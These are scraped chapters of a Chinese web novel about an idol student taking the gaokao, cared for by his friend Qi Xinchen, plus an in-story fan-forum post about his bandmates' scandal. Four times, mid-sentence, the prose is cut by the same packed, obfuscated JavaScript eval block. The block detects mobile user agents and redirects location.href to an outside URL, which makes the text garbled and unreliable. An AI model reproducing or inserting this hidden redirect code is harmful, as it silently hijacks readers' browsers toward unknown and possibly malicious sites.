一直到晚上,他才滞后般意识到,自己虽然从团宿舍带了几天的行李,却意外忘记了收睡衣——好在祁心忱有,自己如今已经长到和他差不多高了,又是夏天,至少不会出现两年前那种穿起来长了一大截的情况了。 于是他说着“随便给我一套都可以”,接着看祁心忱点了点头,探头在衣柜里找了找,翻出一套白色和青绿色交错的衣服。蓝鸢歪着头盯着祁心忱递过来的睡衣看了两秒,心想“这人是不是对这种像是打翻了颜料一般的花纹情有独钟”,接着视线一转,又落回到祁心忱本人身上。 “……这件衣服,”蓝鸢缓慢地眨了眨眼,伸手接过,在眼前展开,又尝试着进行询问,“和你身上的是同款吗?” 事实上,它同祁心忱那件橙白色的衣服呈现着并不相同的纹路,但在“如同无序的画作”这点上又相似地如出一辙……很像是,蓝鸢在心中默默想着、但没有说出口,一种情侣装。 还是他们各自的应援色。 “可能算是,也可能不算是,”祁心忱回答道,“其实都是买的纯色衣服,然后自己染色的。” “哦。”蓝鸢点了点头,接着停顿了几秒,“诶?” 祁心忱笑了出声。 “你有兴趣的话,”他又说,“等考完了,也可以来试着染一件——我还有一些材料的。” 好像……这确实是一个合情合理的答案。 听到对方的回答,蓝鸢如此想着,点了点头,又问:“你教我吗?” “这个哪里需要学,”祁心忱说,停顿了片刻,又补上一句,“好呀,我教你怎么画。” 蓝鸢于是也笑了起来。 而此时此刻,趁着祁心忱给他吹头发这会,出于好奇,蓝鸢还是打开微博,看了一眼经纪人所说的“热搜”。 ——那个他和祁心忱名字并列的词条只位于热搜的中段,但广场却很热闹。 有cp粉在里面欢呼雀跃,毕竟这种私下的偶遇比镜头前的交集看起来更有讨论意义;也有些声音在其中阴阳怪气,说蓝鸢明天就要高考了今天不好好复习还不忘蹭前辈热度,并暗戳戳期待着蓝鸢考试来个大翻车,以印证他“心思多”的论断。 后一类的言论还不算少,可能这就是经纪人口中的不友好声音。蓝鸢想。 而与此同时的是,还有一些人开始讨论,猜测他和祁心忱是不是以前就认识——很少有人会刻意关注小偶像的高中学校,但这些信息大家也不会刻意隐藏、或者说本就隐藏不了。 于是词条下有人提到了这事,并试图召唤互联网上的二中校友,挖掘出他们过去是否有什么交集。 不过肯定什么都挖不到,他们隔着四届,哪来的什么交集,蓝鸢心说。 只是看到这些试图深入探究更多关联的网友,他突然就觉得有些不愉快起来。如此想着的时候,他感觉到祁心忱的指尖穿过自己的发丝,而后身后的吹风声停了下来。 “少看一点微博,”祁心忱在他头顶的发旋中央揉了揉,“早一点睡觉,明天得早起呢。” “好,”蓝鸢点了点头,上划关掉了微博页面、熄灭了手机屏幕,又仰起头对着祁心忱笑了一下,补充道,“我本来也不是很想看了——这些人讨论的内容都好无聊呀。” * 蓝鸢是一觉睡到天亮的。 再怎么说也是高考前夜,刚在床上躺下时,他确实产生过片刻的“会不会睡不好”的担忧——但实际上,他的脑海中甚至并没有什么睡前辗转反侧、胡思乱想的印象。 直到过了很久,感觉额头上传来一点冰凉的触感,蓝鸢才终于睁开眼,又眨了眨:“……哥哥?” “早安小圆同学,差不多到起床时间了,”祁心忱垂眼看着他,动作像是刚刚收回手指,表情带着一点点似有若无的笑,“你先松手一下。” “诶?”听到这话,蓝鸢发出一声疑惑音,视线顺着手腕下移,接着才后知后觉注意到……自己的右手正抓着一缕头发。 祁心忱上月底接的长发还没拆掉。蓝鸢上回问过准备留多久,得到的两句回答分别是“接都接了趁此机会顺便拍个国风PV”以及“但是剧情还没有想好”。 于是这长发就一直留着。 而此时此刻,视线落到其上的一刻,蓝鸢手指尖无意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437698|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地勾起发梢,绕了个圈。 然后他听见祁心忱的笑声。 “——对不起!”下一刻,蓝鸢刚被唤醒的大脑瞬间清醒了不少,他瞬间松开手,又小声说,“……我没有太睡醒。” 祁心忱眨了眨眼,坐起身来盯着蓝鸢睡得有些乱的头发,将“你好可爱”这种会扰乱考生心情的玩笑话压了下去,只顿了顿说:“那我先去热一下早饭——过几分钟来叫你。” “……好,”蓝鸢点点头,看着祁心忱拿起放在床头柜上的眼镜,又不由自主地说,“等一下。” 祁心忱顺手将眼镜戴上,整个人显得气质温和又平淡。然后他扭过头,看着蓝鸢,视线中有点疑问:“怎么啦?” “嗯,”蓝鸢停顿了片刻——实际上他什么事都没有,刚才喊住祁心忱大概是因为到此刻也没有彻底清醒,但总之,此时此刻他的大脑疯狂转动,最后抬起头,对着对方露出了一个笑容,“我还有句话没说呢……早安,哥哥。” “早安小圆。”祁心忱垂了垂眼,然后也笑了起来,又重复了一遍。 大半个小时后,蓝鸢和祁心忱站在了学校门口。 周围人群来来往往。 这会校门已经开了,周边传来老师叮嘱学生的声音、以及考生和陪考家长的道别与鼓励声。蓝鸢的视线在人群中游动,同时也镇定地接收着不少人的暗中打量。 且不论年轻人群体中认识他和祁心忱的本就不少,即使没有偶像这层身份,这两张脸放在人群里也很显眼——不过大抵是因为有更重要的高考要关注,那些目光往往也只是停留片刻,并没有人真的上前尝试和两人进行交流。 “……放松心态正常写就好,不用太担心,”祁心忱说着,将手上的杯子递给蓝鸢,又压低声音,目光转向左侧后方,抬了抬下巴说,“过会考完我在那边树下等你。” “好。”蓝鸢检查完透明袋子里的文具和证件,拉上拉链说,然后盯着祁心忱眨眨眼。 下一刻,伴随着夏日里的一丝凉风,他被一个熟悉的怀抱包裹起来。 就像身边其他考生和家人一般……相当自然而然的,祁心忱给了他一个拥抱,和一句“加油”。蓝鸢指尖捏了捏对方的发尾,抬了抬嘴角,小声回应了一句“我会的”。 而后他同祁心忱道别,转身走向了接下来三天的试炼场。 50. 高考2.0 7号和8号两天都平淡且顺利……整体上来说。 会让蓝鸢产生“平淡顺利”这样想法的根源,大概是考试题基本在掌控范围内——这不是指他什么都会,只能说不会的数量没有超出预期。 不过,平淡的考试间隙,也有点不那么平淡的小小波澜。 蓝鸢虽然不觉得自己是什么名人,但也算个很多人认识的现役偶像,况且这几天还有祁心忱这个小顶流全程接送,对于“早晚会被拍”这事,他是有充分心理预期的。 只是没预料到的是,比起娱乐新闻,他更先出现在了社会新闻上——不含贬义的那种。 蓝鸢的考场到校门口近,收卷又快,加上他是本校学生,轻车熟路。总之,出考场时,他不幸……也不能说很不幸地,走在了前面。 于是刚踏出校门,眼前就冲上来了一个话筒。蓝鸢第一反应是说“现在不接受采访哦”,只是话还没说,对面先急匆匆地开了口。 “这位考生您好,”这人提问,“您对刚刚考的第一门语文有什么看法吗?您觉得题目难度如何呢?” 蓝鸢差点说出来的拒绝被紧急刹停,后知后觉意识到这并不是什么围堵他的娱乐新闻记者。 这人语气平常,看起来不认识他,脖子上又挂着证件,不像骗子——毕竟伪装采访者也没什么好处。 条件反射般地,蓝鸢抬头向事先说好会和的位置看了一眼……接着猝不及防地同祁心忱本人四目相对。 接着他看见祁心忱低头笑了起来,又对着他招了招手。 你笑什么。蓝鸢心说。 “我感觉难度适中吧,整体偏常规,但也有新题型,”接着他犹豫了片刻,面对话筒斟酌着说出了一段零信息量的发言,“我觉得我发挥还算正常。” ——如果他不是偶像,这会倒是可以说“我觉得题目非常简单、我考得很好”这种装一下的话,反正也没人认识他。蓝鸢心想。 可惜偶像的身份在,这个环节必须谨言慎行……虽然蓝鸢知道即使不做偶像,自己也不会真的装那一下,但还是有了一闪即逝的幻想破灭的遗憾。 “好的好的,感谢您的信息,”而对面似乎对这样含糊其辞的发言并没有什么不满,语气非常自然地回应道,“祝您接下来的考试顺利。” 蓝鸢道了一声谢,看对方又开始在校门口抓下一个目标。又过几秒,祁心忱总算迟迟出现在他眼前,在开口之前没忍住又笑了出来。 “有这么好笑吗。”蓝鸢小声说,“你都看到了,也不来解救我。” “怎么解救,”祁心忱歪着头盯着他,“我过来说,对不起,我弟弟不喜欢被陌生人问问题,所以麻烦您找别的考生采访吗?” 蓝鸢不满地瞪了他一眼。 接着祁心忱就再度笑了起来,毫无收敛的那种笑法。一直到发现身边有其他出来的考生将视线落到这边,他才深吸一口气收住笑意,小声说了句“快回家吧,饭应该快要热好了”,然后顺手又摸了一下蓝鸢的脑袋。 “你怎么这样。”蓝鸢说。 而这件事发生的半小时后,这段短暂的采访视频就被传上了互联网。到了下午,就已经在论坛和蓝鸢的粉圈传播了——当然,蓝鸢本人是晚上睡前才知道这件事的。 祁心忱让他考试这几天少看手机,这个要求很有道理,所以蓝鸢也很听话,只在晚上结束短暂的物理复习后,看了一眼有没有什么消息要回。 至于这段视频,也没有什么可讨论的,无非就是他粉丝在说“小圆看起来状态不错”、论坛很多不知道是什么粉籍的人在强调他原话里的“正常”、企图进行提前走位,等蓝鸢考崩了回来嘲,以及……稍微晚点的时候,有人在视频的角落捉到了祁心忱的身影,接着又有他们同考场的考生趁势发帖,说早上遇到了两人走在一起,于是cp粉开始刷屏。 好吧,倒也不能说没有可讨论的。蓝鸢心说,只是这些暂时不足以让他将心思从考试里抽出来。毕竟要防住那些提前走位的论坛言论,最好的办法就是好好考试;至于远程cp粉——在蓝鸢的心中,这种生物的存在当然是越多越好的。 而第二天的情况就要平淡得多了。 上午的物理蓝鸢自认为是超常发挥,与之对应的下午的英语感觉没有考太好、但也不算坏得离谱,如此一加一减,结果来说也都在可控范围之内。 加上随机采访考生一般只出现在第一场和最后一场,于是下午走出考场的一刻,蓝鸢终于感觉到心态放松了一些——剩下的化学和生物都是他学得中规中矩、自知不会太好也不会太差的科目,蓝鸢不太担心。 这几天他和祁心忱都是走路往返——二中门口接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437699|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送的车辆太多,一整条街都只能缓慢前行,走回去只要十分钟,算上进出车库的时间成本,和坐车相比也没什么区别。 “感觉你心情不错。”一同走在路上时,祁心忱好像也看出来了他的轻松状态,于是说。 蓝鸢点点头,说了句“嗯嗯”,又装作深沉般不说后文……祁心忱则是笑了一声。 做考生真的挺好的。蓝鸢于是又漫无边际地心想。 * 只是……前两天平淡,最后一天却没有那么平淡。 当然,不平淡的根源和蓝鸢关系不大,只是下午三点左右的时候,他的余光瞥见自己放在一边的手机正在疯狂弹出消息—— 到这时候,他只差最后一门生物考试了。 生物开考的时间晚,于是蓝鸢坐在客厅看笔记,手机就放在客厅的小方桌上。祁心忱则坐在沙发的另一端,一手抱着画板一手拿着铅笔,安安静静地画着什么,没有出声打扰。 蓝鸢本来不打算理会。毕竟真有什么重要的事肯定会一个电话打过来,没有电话就说明不够紧急,看手机反而可能会扰乱此时平静安详的考前心态。 况且和亲哥闹翻之后,也不存在对他而言特别重要、不能错过消息的人了。真要说的话,此时此刻最重要的反而是只相熟了四个月的、如今坐在面前无事发生的祁心忱。 只是……消息闪动太快,蓝鸢眨了眨眼,好奇心战胜了一切,于是他伸出手,拿起桌面上的手机。 “考完再玩手机,小圆同学。”没想到下一刻,祁心忱的脑袋就从画板上抬了起来。 蓝鸢有点意外。 他以为祁心忱那认真样是沉浸在了自己的世界里,结果这人一瞬间就注意到了他的小动作。 “好……我只是看到很多消息有点好奇。”他垂了垂眼,在短暂的一秒钟思考后,决定听祁心忱的放下手机——毕竟真的不会有重要的事。 不过放下的前一刻,蓝鸢还是看到了那些闪动的消息的来源。 不断弹出一条条消息的是一个微信群,群名叫“Butterfly通知群”。 他们队那个,没有通知的时候真的不会有人说话的、唯一七个人都在的队群。 不要管这群人。蓝鸢脑子里一瞬间闪过各种念头,最后他对自己说。 先好好考试。 51. 新朋友 蓝鸢用力晃了晃脑袋,将所有关于这群队友的念头都从大脑里驱逐出去。 这花了他一点时间,但不算太长。 好在下午考试期间,这件莫名其妙的事并没有重新跳入他的大脑,蓝鸢觉得自己发挥得还不错,即使他猜到队里肯定出了什么状况——他觉得这要得益于赛时经历过的各种队友节奏的洗礼。 毕竟选秀那会,公演准备到一半队友暴雷的退赛的吵架的都经历过,但是排练还得继续,没人给时间缓冲,就像此刻重要的考试还要继续。 只是令他意想不到的是,考完试从考场出来后,接他的祁心忱并没有像往常那样拉着他走回家,而是带他往旁边二中停车场的方向走了过去。 “带你见一个新朋友。”祁心忱如是说,“只是见一面,不会花太久的。” “诶?” 这是没有被预告过的行程安排,蓝鸢眨了眨眼,对此感到了片刻的疑惑:“谁呀?” “见到了就知道了。”祁心忱说,“很快的。” “……不知道的还以为你要把我卖了呢。”蓝鸢顿了顿,然后小声说,“这有什么不能说的。” “说不定真的是哦,”没想到祁心忱低头笑了一声,“小圆你考虑一下要不要现在跑?过会可能就跑不掉了。” 蓝鸢深吸一口气,没有说话,只是同祁心忱拉着的手指捏了一下,接着在祁心忱“别别别好疼啊我说就是了”的声音中得逞般也笑了出来。 “是我家邻居。”祁心忱松了口气说,“刚刚去公司刚好遇到他,所以搭了个便车过来。” ——祁心忱口中的“公司”,当然指的是临路。虽然他这几天随时出现在自己眼前,像是专门跑过来陪考的,但蓝鸢没忘记,祁心忱回家是有正事要做的。 只是这个“邻居”……也是临路的人吗?蓝鸢如此思考着,直到跟着祁心忱上车,看到从驾驶座上转过身来的、一张陌生的脸。 有点莫名的眼熟,但不认识。蓝鸢回忆了一下,得到如此结论。 不过临路是影视公司,公司现役的以偶像作为主业的艺人就祁心忱一个,而蓝鸢对娱乐圈的演员并没有那么熟悉,所以也不排除这人是临路员工的可能。 虽然他看起来不是很像演员——男生看上去比他们大一点,脸也还算好看,但是是那种清秀可爱的长相,看上去软软的毫无攻击性,做演员的话,注定戏路不会很宽。 “你好,”如此想着,这人就开了口,他的声音同本人一样软,笑得也很让人心生亲近之感,不过说的话却让蓝鸢感觉到了片刻的迷惑,“我叫路行,目前的职业是修饮水机的。” “您好。”不过虽然迷惑,蓝鸢还是眨眨眼,很有礼貌地打了个招呼。 说完之后他又顿了顿,开始思考应该使用什么样的称呼,就听旁边祁心忱开口道:“叫路总就可以了。” “路行,小尘,dust,”蓝鸢张了张嘴,还没开口,就听路行本人说,“这三个称呼三选一吧,不准喊路总,敢喊就把你旁边那位封杀了。” “完了,大资本家开始仗势欺人了。”祁心忱说,语气里倒是只有调侃。 蓝鸢本想也开玩笑说“反正也不是封杀我”,只是他将路行的话在脑子里过了一遍,终于后知后觉意识到了那份熟悉感的来源。 “……dust?”他重复了一遍,“是打Terminus的dust吗?” “嗯嗯,”路行点点头说,语气抬高了一点点,“原来小圆认识我呀,好荣幸。” 怎么这人说话也阴阳怪气的。 蓝鸢想,祁心忱的朋友都是这个风格吗。 ——至于那份熟悉感……是因为,蓝鸢在选秀基地住四人间的那段时间里,这张脸每天都会在他面前出现过好几次。退赛哥桌前贴了张海报,说是他喜欢的电竞选手,叫Dust。 虽然那张P过的海报和本人长得不太一样,但名字对上的一瞬间,两张脸也自然而然重合了起来。 “他哪里像是认识你,”祁心忱开口拆台道,又转向蓝鸢说,“这位是我们大老板的弟弟,一句话就能封杀我的大人物,小圆你得稍微意思意思尊重一下,不过也不用太尊重,毕竟这人自己已经沦落到没比赛打去看饮水机了。” 蓝鸢实在没忍住笑了出声。 他总算有点明白为什么祁心忱这种普通双教师家庭的小孩,能在娱乐圈随意开嘲讽下场、在大公司临路的待遇在太子和放养中无缝切换了……甚至也有点明白祁心忱想介绍给他路行的原因了。 祁心忱之前开玩笑问过他要不要来临路——当时的蓝鸢对他、对临路都了解不够充分,因而对此不置可否,但实话说他也清楚,如果想要长久在这个圈子里待下去,挂靠一个可靠的公司,显然比真正意义上单枪匹马开个人工作室要好。 而临路……蓝鸢了解不多,但也知道,它从某种意义上算是一个“家族企业”,一个商业版图覆盖了很多领域的、大家族下属的一个、不算大也不算小、但在娱乐圈地位已经足够高的公司。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437700|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那路行这个所谓的“大老板的弟弟”,话语权大概也并不只是像一般的“顶头上司的家人”那样。 总之,蓝鸢觉得祁心忱此时还是有点这个意思在的。 即使祁心忱什么都没说,路行也什么都没说,只是默默将车启动了起来。而蓝鸢身上目前还有一个一年半的合约,没有那么急着需要考虑这件事。 “我那是养伤!”路行加大了音量,但语气听起来还是没什么威慑力,“这是为了季后赛乱杀做出的必要牺牲。” “看吧,”祁心忱于是笑了,“你还是很在意不能上场这件事的。” “……不是说要尊重吗?”蓝鸢终于忍不住了,戳了戳祁心忱小声说。 “没有嘲讽就是尊重了。”祁心忱说。 “真的没有嘲讽吗?”蓝鸢不觉得如此,于是他反驳道。 “你们说话我能听见的。”路行沉默一会,然后开口。 * 不过,如同祁心忱所说,“只是见一面”也确实只是见一面。 从二中开车回去不过两三分钟,祁心忱说路行要回他们队基地,所以拉着蓝鸢在小区门口下了车。 蓝鸢思考了一路。 在跟着祁心忱踏进家门的一刻,他张了张嘴,最终下定决心,打算将那句“你是不是希望我以后签来临路”问出来。 只是他还没来得及开口,祁心忱反而先一步出了声。 “恭喜你彻底自由啦,”他如此说道,又补了一句,“要不要先看看你们队的新闻?” 虽然明天上午还有口语要考,但这个不重要,实际上,蓝鸢出考场的路上,已经听到几个同学在讨论今晚要出去通宵玩乐。至于Butterfly有新闻,这也在意料之中,而且大概率是被曝光了什么黑料,毕竟潜在黑料太多了。 蓝鸢对此感到心情平和,毕竟那群队友总不可能在通知群里闲聊。 “什么新闻?”只不过在拿到手机前,他还是问了一句。 “起因是你们队有两个人昨晚去酒吧玩被拍到了,”祁心忱说,停顿片刻,又低下头按了按手机,“后续发展有点多,我先给你转一个——不过你想回头看的话,我们也可以先吃饭。” “我先看看吧。”蓝鸢远远看见自己放在桌上的手机又亮了一下,伴随着一声提示音。 应该没意识到自己特别给他开了提示音吧?蓝鸢听到这声音,眼角的余光看了看祁心忱的神色,没看出什么异常,于是继续开口说:“我还是有点好奇的。” 52. Round1 蓝鸢暂时没管队群里的99+。 即使那个99+的末尾是令人好奇的、来自叶游的一句“你们知道新高考最后一门现在还没进考场吗”。 今年队里高考的两个人,宁郁寒不考生物,这话显然就是冲着蓝鸢来的。 但是蓝鸢思考片刻,还是先点进了置顶的、和祁心忱的那个聊天框。 祁心忱给他转的是一个论坛帖子。 * 【主题】糊67酒吧事件及其衍生瓜整理(实时更新中) 主楼:本楼主要是对下午的节奏进行简单总结,有更多的新内容会补充在下面。 不过在正文之前先感慨一句,你们糊团真是人才辈出啊(非褒义,一下午整出这么多幺蛾子,圆太后考完出来补课都能把脑子补炸吧 总之首先是万恶之源,上午有人发出了自己昨晚在某酒吧的视频: [链接:一些吃喝玩乐的记录!] 本来这是一个平平无奇的生活分享视频,结果中午突然有人在视频的角落里发现了糊67的身影,最早的你区千层楼已经被大举报了,放一个目前存活的认人高楼: [链接:补档:说不是糊67的进来看看呢] 当然,放假去酒吧虽然是嘲点,但靠你圈这个什么都能原谅的样子这种事都是当无事发生的。 真正引起进一步讨论的是中午两点半有人发了昨晚稍晚点的新视频,糊67坐在位置上和几个看不清脸也看不清性别的人抱在一起动作非常亲密,非常好的爆料视频之只有两位当事人小哥哥露了正脸,请看补档: [链接:换个时间段] 可能是因为目前是高考假你圈很多低龄小粉丝都能上网,这个视频出之前口径都是“成年人放假喝酒娱乐一下怎么了”,视频一出立刻变脸小粉丝开始无缝洗众所周知视频是可以p的,结果转身糊6某大粉光速背刺小粉丝黑头像取关超话并发布粉见一个句号: [链接:速报,八百倍速疑似脱粉回踩,糊6某线下大粉黑头像了] 好接下来是精彩的了,黑头像姐黑头像之后立刻受到小粉丝的围攻,主要话术表现为“就不能给点时间听他出来说事实吗”“是不是早就想跑路了只是刚好遇到这个机会一个小时不到就紧急响应了”“跑之前还要给对家粉送嘲笑素材你的爱就是这么不值钱吗”等。 不多转述了既然黑头像姐把这条转公开了那请看vcr: [@念江淮_:。] 说到这里感觉糊6家还是很多第一次追星的小粉丝,尚且不懂在黑料出来的时候千万不要招惹线下大粉的道理。黑头像姐先是把这条被围攻的微博转了公开,接着就发了一条新微博并at了糊6本人: [@念江淮_:还活着就滚出来道歉@Butterfly-任淮] 接下来就是令人叹为观止的平A换大招环节,小粉丝在这条下面评论“你当你谁”仅仅十五分钟后今中午微博大号上下线15次持续装死的糊6在微博发布短文: [@Butterfly-任淮:对不起大家…] 总结来说整个道歉信不到200字中出现了4个错别字2处语病并且标点符号时有时无,结合在fan club的发言风格基本可以断定这是你团唯一没有高中毕业证的糊6亲手写出来且大概率没有工作人员审核的。 那么为什么糊6急成这样并且果断承认了昨晚和老七一起在酒吧喝酒并且“不清醒”所以“没注意”什么时候身边坐了几个陌生男男女女呢很显然大概率是黑头像姐还拿到了别的什么把柄。 而且糊6道歉应该是没有让黑头像姐满意,于是这位四点半的时候又跳了出来at了一个新角色: [@念江淮_:还有你的道歉呢?以为视频糊就没人能认出来吗?[图片][图片]@Heart心跳和鸣_0417] 众所不周知的是被at这位是道歉哥著名神图站姐,从海外时期就追随他的三年老粉。 不过心跳姐到现在还没出声,大家更关注的是黑头像姐的两张图片。第一张是小视频的截图圈出来的一个在道歉哥旁边坐着动作很亲密的女生,结合上下文应该就是心跳姐本人。 现在外面吵的是第二张。一个聊天记录长图,看备注应该是黑头像姐和心跳姐的记录。 记录里心跳姐表示自己“并不是要对他怎么样”,说“自推和谈恋爱是两回事”“真有那意思我早上了前几年他那么糊”并且表示“现在的目标是寒子哥而且马上就要得手了”。 结合上下文现在大家推测这个“他”就是道歉哥本人而“寒子哥”大概率是道歉哥的现任队友糊3。 当然糊3粉不承认不过口径并不是很统一。 一群人觉得这个“马上得手”只是心跳姐癔症发作,一群人反过来说黑头像姐在p图,还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437701|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群人在到处拉名字里带“寒”以及这个字谐音的男明星下水,同时在黑头像姐的评论区反复追问说不要拉无辜队友下水说趁着糊3高考给他泼脏水。 说到这里感觉糊3粉也挺奇怪的,一般人遇上这种事都觉得自家正主是被单方面造谣就算有什么也是女生单方面意愿,但糊3粉尤其是几个大粉的反应给人感觉是对糊3卷入这种事并不感到奇怪,熟练到仿佛有什么预案一样。 是你们知道什么吗?有糊3线下大粉看到这里可以出来爆料吗? 帮塌房男藏黑料是没好处的。 但总之这一通攻击之下我们真性情黑头像姐又又又出动了,这回放的是新的聊天记录,对面是心跳姐发过来的自己和糊3的合照,糊3笑得一脸傻乐完全就是本人。 [@念江淮_:别骂我了。有的是图。再骂再发。祝两位99。[图片]@Butterfly-宁郁寒 @Heart心跳和鸣_0417] 顺便一提这条删过一次重发,因为第一次黑头像姐忘记给心跳姐的脸打码了。 感觉是怕被告。 看到这里的话建议大家去骂几条黑头像姐,我还想看。 总之这条发出来后,到目前为止糊3在4点20发的“终于考完了”这条微博下热评前10有3条粉丝控评3条问这件事3条嗑糊美帝以及一条糊2粉来骂他的,那么为什么这里会有cp粉和相方粉呢。 因为聪明的糊3没有学糊6那样没实锤就光速下场而是选择了在5点上线点赞了圆太后前天在考场门口被拦住的采访视频,又进美帝超话签了个到。 并且一反常态没有回复任何新微博之下的评论就下了线。 顺便一提圆太后目前还没有关注美帝超话和糊3超话,只关注了自己和星辰的超话。 作为对照可以看看糊3的几条微博,第一条是今天的,第二、三条是前几天的,糊3是有发出去不久就回复评论的习惯的,骂他的也回: [@Butterfly-宁郁寒:终于考完了!] 对比: [@Butterfly-宁郁寒:训练情况汇报[图片]] [@Butterfly-宁郁寒:唱了蓝鸢[视频]] 目前情况暂时就这么多,不过感觉这事还有后续。接下来还会继续补充的。 未完待续…… 53. “正义” 蓝鸢快速读完了主楼内容。 意料之外的,居然还有一点自己的事……虽然也就一点。 不过那个楼主的预测还是有一些不准的,他并没有把脑子补炸——恰恰相反,在阅读帖子的过程中,蓝鸢产生的想法只有两条。 “是他们能做出来的事”,以及“原来如此”。 “原来如此”针对的是高考之前、宁郁寒找他谈话时提到的、他和任淮关系出现裂隙的根源。 如同他之前的猜测,宁郁寒在这件事里并非全然无辜……而很显然,任淮也多少有问题,毕竟他昨晚还和那个站姐在一起搂搂抱抱。 蓝鸢叹了口气,暂时没有继续看这栋楼的评论,而是点开了距离当事人更近的、看起来能一线吃到新瓜的Butterfly通知群。 意料之外,下午群里的第一条发言来自置身事外的简旋安……更意料之外的是这人不同于平时的态度。 简旋安: 【队友还在高考期间呢你们就出去制造舆论麻烦】 【能不能少拖累别人啊?】 ? 他在做什么? 蓝鸢盯着这两行字看了几遍,并感到了发自内心的疑惑——高考的队友指的是谁不言而喻,简旋安没理由关心宁郁寒,但他也应该知道,自己不太有可能真的受到“舆论麻烦”的影响。 或者准确说,自己不太有可能真的在考试期间关注“舆论”。 任淮: 【?】 蓝鸢刚如此想着,就看到下一行任淮打出来的一个应景的问号——不对,不能叫“应景”,你有什么资格打问号啊? 他在心中质问了一句。 简旋安: 【你有什么资格打问号啊?】 蓝鸢一顿……而后果断决定放弃内心吐槽,不带有任何情绪波动地继续读下去。 往下是任淮撤回了一条消息,撤回的是什么已经无从得知——或许回头可以找沈艾初或叶游问问,如果这两位当时目击了群里发生的事的话。 而再之后,留下来的则是避重就轻的话。 任淮: 【我不理解你在说什么。】 蓝鸢也不理解,虽然抛开个人恩怨的话,蓝鸢觉得简旋安说得是对的。 但是—— 这种程度的私生活瓜,虽说是逃脱不了“塌房”的名号,但也不至于……在舆论层面太严重。 虽然这么说不合适,但多数情况下,“偶像失格”这四个字也只是喊喊口号,只要不碰法律红线,一切错误都不致命。 论坛和粉圈会在提到他们时反复带过一句“塌房事迹”,但这点并不妨碍他们能继续工作,至少能继续团活——后期的Dreams可能是例外,但那很大程度上也因为那是一个选秀团的后期。 就算无事发生,大多数选秀团后期也是各自单飞的。 祁心忱和顾洛知能带着Dreams的名号活动到解散,各种意义上都是对这个名号仁至义尽了——况且最后解散演唱会和解散专依旧有五人参与,剩下几位也并未销声匿迹,大多是一转奔向了各种剧组,在“沉淀”的过程中等待互联网失忆和新粉丝的到来。 毕竟只要成了演员,很多事就不算“偶像失格”了。 总而言之就是,Butterfly七人组在接下来的一段时间还得继续一起工作。 然而,在那个任淮和竺明若粉丝都尚且处于“等待本人和公司回应”“不要自乱阵脚”“暂时先相信他们”的时刻,简旋安就直接将战火捅到了队友们面前……蓝鸢实在是想不通。 而且他自己还若有若无地也被那句“高考”牵连了进去。 蓝鸢并不担心自己和任淮搞不好关系,毕竟他们关系本来也没多好。但他还是对简旋安的行为感到了不解,而这份不解在接下来简旋安开始往群里转爆料贴时达到了新高。 群里任由他转发了一会,接着是竺明若跳了出来,发了一句“可以先给我们一点时间解决吗”。 简旋安: 【解决什么?】 【删帖还有发毫无可信度的辟谣吗?】 发完这句话,简旋安的转发还在继续,中间夹杂着竺明若说的“你转发这些也没有意义而且很多都是造谣的”,沈艾初一个单薄的、毫无意义的“可以等等再说吗”,和任淮不知道出于什么心理的、话锋一转的“好吧我们确实做错了非常对不起队友”“我会好好道歉的”。 而终结这场群内交锋的是最后一个非高考生叶游。 叶游: 【差不多得了】 【有什么事晚上再转发吧】 【也都知道是高考期间】 【你们知道新高考最后一门现在还没进考场吗】 最后一句话出来,群里突然就安静了下来。 蓝鸢晃了晃脑袋,莫名其妙感觉到了一点头痛——不知道是心理上的还是生理上的。他想了想,又伸手勾选了一遍聊天记录,迟疑了片刻,戳了戳转发键,将它们转发给了坐在身边的祁心忱。 “你给我转了什么,”祁心忱眨了眨眼,接着又像是自问自答般,“哦,你队友的聊天记录。” “嗯,我有点看不懂,所以给你分享一下,”蓝鸢说,又不知为何补充一句,“我下午就是因为这个看了一眼手机的,一直在弹窗……不是想摸鱼。” 祁心忱笑了出声:“怎么还解释这个呀。” 